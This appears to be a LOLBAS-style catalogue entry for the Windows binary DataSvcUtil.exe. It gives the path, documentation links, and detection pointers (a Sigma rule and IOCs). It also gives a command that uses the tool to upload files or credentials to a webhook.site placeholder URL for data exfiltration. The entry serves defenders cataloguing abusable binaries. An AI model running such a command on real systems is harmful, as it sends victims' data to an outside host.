.. /DataSvcUtil.exe

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Paths:

• C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe

Resources:

• https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
• https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
• https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services

Acknowledgements:

• Ialle Teixeira (@NtSetDefault)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
• IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
• IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
• IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.

Upload

1. Upload file, credentials or data exfiltration in general

   DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile

   Use case

   Upload file

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   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1567